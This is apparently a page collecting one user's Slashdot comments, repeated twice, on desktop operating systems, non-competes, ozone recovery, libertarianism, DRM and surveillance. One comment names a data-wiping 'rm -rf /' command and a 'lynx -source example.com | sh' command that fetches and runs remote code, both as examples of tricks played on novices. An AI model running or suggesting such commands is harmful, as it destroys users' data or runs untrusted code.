How about...
"Lets install a lock icon in your email so you when you see the lock it means no one else was able to read the message on it on its way in and it also means the name of the sender wasn't forged. Same deal goes for messages you send out."
The central goal of the Haiku project is to create an operating system that is ideally suited for use on the desktop--this differs significantly from Linux and other open-source operating systems which are intended for use in a diverse range of settings including server and embedded environments.'"
The challenges of creating a desktop OS are numerous and writing the code is such a small, practically irrelevant part of it yet. The code, however, seems to be all they're focusing on.
Why would Microsoft enable a competitor, and, more ludicrously, apologize if there was no reason to? What's in this for Microsoft? Did Corel pay them a fee? Agree to cede a market? Threaten them with some kind of slam-dunk legal action that Microsoft was on the losing side of? We will probably never know.
I have generally noticed that the local newspapers tend to make me considerably less stabby than national newspapers, news television, etc., even taking into account the chunk of them that comes off the major newswires. Then again, I might have simply gotten lucky where I'm at; I dunno.
Local newspapers make me much more stabby since they don't seem to believe in proofreading.
I must've started reading this series about 10 years ago, and books 1-5 were already out at the time (IIRC).
Recently, I tried picked up where I left off. Maybe book 8 or 9. I couldn't read it. I've changed too much as a person to relate to this series anymore.
The law is kind of irrelevant if you're never going to take it to court. And the only reason you'd take it to court is if there's money involved (or if your former employer has a policy of prosecuting every sleight and damn the expense).
If there IS big money involved, you can be somewhat comforted by:
a) Non-competes don't have a good history of being enforced in the first place (but variations exist between states). b) The law tends to frown upon asking an employee to sign a new non-compete after they've already started working somewhere. It's tantamount to firing someone without cause (again, varies between states). c) If you're a highly sought after talent you can ask future employer to indemnify you against the liability. d) If your current employer fires you all bets regarding labor agreements you've signed are off. My opinion is that they've acted in bad faith regarding your employment agreement so you can render all agreements null and void, but what actually flies in court is that they cannot deny you an opportunity to earn a living.
"During my service in the United States Congress I took the initiative in creating the Internet. I took the initiative in moving forward a whole range of initiatives that have proven to be important to our country's economic growth and environmental protection, improvements in our educational system."
You can't even convince politicians in Congress today that there is value in having anything to do with the internet besides enacting child protection laws. Gore has understood the value since the 1970s and been acted in his political capacity to develop and support legislation that created it and brought it to the public. Exactly what other kind of creation do you expect from politicians? Can only the guys on the front-lines take credit for creating something? Does it somehow diminish their value by acknowledging Gore's contribution?
In short, EVERYBODY PANIC and give us grant monies!
Since I don't have kids, and probably won't, I say screw the ozone. I'm all for living indoors anyways.
Though it seems to have escaped the public, the ozone depletion problem was solved with the ratification of the Montreal Protocol.
So what's the story? Well, don't put away the SPF-1000 sunscreen yet if you're going to be near the poles. Scientist projections estimated it would take several decades for the earth to fully repair itself. Sometime by 2040, IIRC. The rub with this 30% shrink is that it's way ahead of schedule.
I'm no scientist, but to me this sounds like something worth investigating.
...we discount the future so highly that destroying a finite resource somehow has a non-infinite price.
Again at the risk of sounding flip? Wha - hunh? First, what does the second quote even mean? Does destroying a gallon of gas have an infinite price?
Consider finite/scarce resources. The future value of a present value is defined as:
Future value = Present value * (1 + i)^2
The future value approaches infinity as you move forward in time. Now solve for present value.
Future value / (i+1)^2 = Present value
Infinity divided by a number is still infinity. Its present value should be infinite as well. Yet it's not. That's because the FMV equation above actually also has a magic discount factor.
Future value = Present value * (1+i)^2 * discount factor
This discount factor means our civilization has an intrinsic disregard the future, and it grows the further towards the future we consider. Most of our ills seem to be rooted in this intrinsic short-sightedness. I wouldn't necessarily call it a human condition because there have existed civilizations that did not share this same disregard for the future.
And this is the core of libertarian thought: if I'm not hurting you, leave me the hell alone. Don't tell me what to do. Don't order me to attend your schools. Don't take my money for your causes. Let me trade freely (for example, let me buy sugar from Cuba). Let me read, or view, or say, what I want.
This is a perfectly reasonable philosophy but Libertarians apply it very narrowly. Two, three hundred years ago an individual sitting on his property minding his own business had virtually no ability to impact the people around him. He could swear at passerbys, throw rocks, or maybe even shoot at them. In some extreme cases he might live uphill from a settlement and cut down trees all day and all night until he had a huge pile of logs that he could unleash on the unsuspecting town below. Someone this hell-bent on causing destruction is rather rare and the destruction is rather limited, so the society could afford to extend so much autonomy to the individual. The risks were really low.
The world is a lot different now. Technology has vastly amplified the power any individual can exert over their larger society. Lets assume the extreme case now: plenty of individuals have the resources to build a nuclear reactor on their property. Can society afford to butt out and ignore the risk that his reactor could explode and poison the environment for hundreds of miles in every direction? Good God, no. We restrict their autonomy in mob-like fashion (maybe unreasonably so, I like nuclear power) because the risks are so high.
Libertarians might say society will do fine as long as everyone minds their own balance sheet.
But in today's society the free market is essentially broken. The true costs of every transaction are not being accurately reflected.. The environmental damage caused by burning a gallon of gas is not paid by anyone that is a party to the transaction. Additionally, a future that forever will have one less gallon of gas is a cost that isn't paid at transaction time either. Right now we discount the future so highly that destroying a finite resource somehow has a non-infinite price. It is only lately that each transaction carries such hidden costs because it is only lately we have such awesome technology and so much individual power.
In the aggregate our wealth is diminishing, and because these losses aren't appearing on any individual's balance sheet is exactly why the Libertarian argument has to be rejected.
Personally, I'd rather they fix the vulnerabilities that make those strings dangerous in the first place: it's not like IM is the only place a URL can get on your machine.
Someone want to tell me how you fix a user who downloads and runs untrusted executable code?
I've seen plenty of Linux n00bs get tricked into running rm -rf/. Or lynx -source example.com | sh
MSN implementing filters on certain strings is just a small measure in a huge arms race any major IM system has to deal with.
PS. You can save yourself the trouble of replying if you're going to tell me Linux only allows the user to destroy all of his files and not the entire OS.
I think a massive surveillance camera network would create a safer, more open society so long as one key condition is met: the public and the police share access. I should be able to hit nyc.gov and view any camera at any time, including past recordings. Give me that and the police can install as many cameras as they want.
Lets say you're 30 pounds overweight. If you assume this is caused by 30 pounds of fat and each pound is the stored energy of 3500 calories, it means you've exceeded your lifetime energy requirements by 105,000 calories.
For a 40 year old male, 105,000 extra calories averages to 7 extra calories a day. That's easily an extra order of mozzarella sticks a month.
building a successful general purpose desktop operating system is 10% technical and 90% everything-else. It takes a calculated, targeted, strategic multi-billion dollar investment to design a desktop experience for a mass market.
You: "Cool, I found some software that undoes all of these restrictions." Them: "Hey, that's not cool. You're violating us!" You: "What? How am I violating you?" Them: "You bought limited use rights to the movie." You: "I'm too dumb-stupid to understand." Them: "You paid $5 for private home viewings ONLY." You: "Anyway, my friend wanted a copy so I burned him one. He liked it too. Say, got any other movies for sale? Them: "You CAN'T do THAT." You: "He's my friend, dude." Them: "You're all going to jail." You: "What?!"
It's extremely obnoxious to expect the bond someone formed with their content publisher to preclude a bond of friendship/kinship over something as trivial as making a copy of a disc. The fact that it feels nothing like theft (because the copy was so easy to make and involved no third parties) only leads to more confusion. That jail enters the picture over what are essentially complicated contracts far beyond the scope of anything the average person has had ever had to consider when buying a consumable object is outrageous.
Slashdot Mirror
How about... "Lets install a lock icon in your email so you when you see the lock it means no one else was able to read the message on it on its way in and it also means the name of the sender wasn't forged. Same deal goes for messages you send out."
The challenges of creating a desktop OS are numerous and writing the code is such a small, practically irrelevant part of it yet. The code, however, seems to be all they're focusing on.
This project is simply masturbation.
Sometimes I wonder if judges ever even read these things.
Is there oversight? What's to stop a judge from siding with one party over another without a stating a reason?
Why would Microsoft enable a competitor, and, more ludicrously, apologize if there was no reason to? What's in this for Microsoft? Did Corel pay them a fee? Agree to cede a market? Threaten them with some kind of slam-dunk legal action that Microsoft was on the losing side of? We will probably never know.
This is one of the most underwhelming diatribes I've ever read.
It had a lot of potential. :(
Right. On!
If I had mod points I'd use them on the above post.
I must've started reading this series about 10 years ago, and books 1-5 were already out at the time (IIRC).
Recently, I tried picked up where I left off. Maybe book 8 or 9. I couldn't read it. I've changed too much as a person to relate to this series anymore.
You're a techie.
If you find something usable the odds are good the rest of the market does not.
The mass market instead of early adopters?
Disclaimer: IANAL;
The law is kind of irrelevant if you're never going to take it to court. And the only reason you'd take it to court is if there's money involved (or if your former employer has a policy of prosecuting every sleight and damn the expense).
If there IS big money involved, you can be somewhat comforted by:
a) Non-competes don't have a good history of being enforced in the first place (but variations exist between states).
b) The law tends to frown upon asking an employee to sign a new non-compete after they've already started working somewhere. It's tantamount to firing someone without cause (again, varies between states).
c) If you're a highly sought after talent you can ask future employer to indemnify you against the liability.
d) If your current employer fires you all bets regarding labor agreements you've signed are off. My opinion is that they've acted in bad faith regarding your employment agreement so you can render all agreements null and void, but what actually flies in court is that they cannot deny you an opportunity to earn a living.
You are referring to this, presumably?
You can't even convince politicians in Congress today that there is value in having anything to do with the internet besides enacting child protection laws. Gore has understood the value since the 1970s and been acted in his political capacity to develop and support legislation that created it and brought it to the public. Exactly what other kind of creation do you expect from politicians? Can only the guys on the front-lines take credit for creating something? Does it somehow diminish their value by acknowledging Gore's contribution?
See also: http://en.wikipedia.org/wiki/Al_Gore's_contributions_to_the_Internet_and_technology#Congressional_work_and_Gore_Bill
Though it seems to have escaped the public, the ozone depletion problem was solved with the ratification of the Montreal Protocol.
So what's the story? Well, don't put away the SPF-1000 sunscreen yet if you're going to be near the poles. Scientist projections estimated it would take several decades for the earth to fully repair itself. Sometime by 2040, IIRC. The rub with this 30% shrink is that it's way ahead of schedule.
I'm no scientist, but to me this sounds like something worth investigating.
You sir, are worse than Hitler.
Consider finite/scarce resources. The future value of a present value is defined as:
Future value = Present value * (1 + i)^2
The future value approaches infinity as you move forward in time. Now solve for present value.
Future value / (i+1)^2 = Present value
Infinity divided by a number is still infinity. Its present value should be infinite as well. Yet it's not. That's because the FMV equation above actually also has a magic discount factor.
Future value = Present value * (1+i)^2 * discount factor
This discount factor means our civilization has an intrinsic disregard the future, and it grows the further towards the future we consider. Most of our ills seem to be rooted in this intrinsic short-sightedness. I wouldn't necessarily call it a human condition because there have existed civilizations that did not share this same disregard for the future.
This is a perfectly reasonable philosophy but Libertarians apply it very narrowly. Two, three hundred years ago an individual sitting on his property minding his own business had virtually no ability to impact the people around him. He could swear at passerbys, throw rocks, or maybe even shoot at them. In some extreme cases he might live uphill from a settlement and cut down trees all day and all night until he had a huge pile of logs that he could unleash on the unsuspecting town below. Someone this hell-bent on causing destruction is rather rare and the destruction is rather limited, so the society could afford to extend so much autonomy to the individual. The risks were really low.
The world is a lot different now. Technology has vastly amplified the power any individual can exert over their larger society. Lets assume the extreme case now: plenty of individuals have the resources to build a nuclear reactor on their property. Can society afford to butt out and ignore the risk that his reactor could explode and poison the environment for hundreds of miles in every direction? Good God, no. We restrict their autonomy in mob-like fashion (maybe unreasonably so, I like nuclear power) because the risks are so high.
Libertarians might say society will do fine as long as everyone minds their own balance sheet.
But in today's society the free market is essentially broken. The true costs of every transaction are not being accurately reflected.. The environmental damage caused by burning a gallon of gas is not paid by anyone that is a party to the transaction. Additionally, a future that forever will have one less gallon of gas is a cost that isn't paid at transaction time either. Right now we discount the future so highly that destroying a finite resource somehow has a non-infinite price. It is only lately that each transaction carries such hidden costs because it is only lately we have such awesome technology and so much individual power.
In the aggregate our wealth is diminishing, and because these losses aren't appearing on any individual's balance sheet is exactly why the Libertarian argument has to be rejected.
Go ahead, throw the first stone.
Someone want to tell me how you fix a user who downloads and runs untrusted executable code?
I've seen plenty of Linux n00bs get tricked into running rm -rf /. Or lynx -source example.com | sh
MSN implementing filters on certain strings is just a small measure in a huge arms race any major IM system has to deal with.
PS. You can save yourself the trouble of replying if you're going to tell me Linux only allows the user to destroy all of his files and not the entire OS.
I think a massive surveillance camera network would create a safer, more open society so long as one key condition is met: the public and the police share access. I should be able to hit nyc.gov and view any camera at any time, including past recordings. Give me that and the police can install as many cameras as they want.
Oh no?
Lets say you're 30 pounds overweight. If you assume this is caused by 30 pounds of fat and each pound is the stored energy of 3500 calories, it means you've exceeded your lifetime energy requirements by 105,000 calories.
For a 40 year old male, 105,000 extra calories averages to 7 extra calories a day. That's easily an extra order of mozzarella sticks a month.
building a successful general purpose desktop operating system is 10% technical and 90% everything-else. It takes a calculated, targeted, strategic multi-billion dollar investment to design a desktop experience for a mass market.
Why don't these guys ever figure out they should keep their mouths shut?
Divorce court is not the place to present your original research on child rearing.
Isn't it weird how his gothy best friend who has had some kind of twisted sexual relationship with his wife is an admitted mass-murderer?
I'm just saying.
Their tactical mistake was accepting this.
Our tactical success was in opposing reciprocation.
It may be moot anyway.
Wasn't it ultimately revealed that Cuba had the capacity to launch attacks on the USSR anyway?
An epilogue...
You: "Cool, I found some software that undoes all of these restrictions."
Them: "Hey, that's not cool. You're violating us!"
You: "What? How am I violating you?"
Them: "You bought limited use rights to the movie."
You: "I'm too dumb-stupid to understand."
Them: "You paid $5 for private home viewings ONLY."
You: "Anyway, my friend wanted a copy so I burned him one. He liked it too. Say, got any other movies for sale?
Them: "You CAN'T do THAT."
You: "He's my friend, dude."
Them: "You're all going to jail."
You: "What?!"
It's extremely obnoxious to expect the bond someone formed with their content publisher to preclude a bond of friendship/kinship over something as trivial as making a copy of a disc. The fact that it feels nothing like theft (because the copy was so easy to make and involved no third parties) only leads to more confusion. That jail enters the picture over what are essentially complicated contracts far beyond the scope of anything the average person has had ever had to consider when buying a consumable object is outrageous.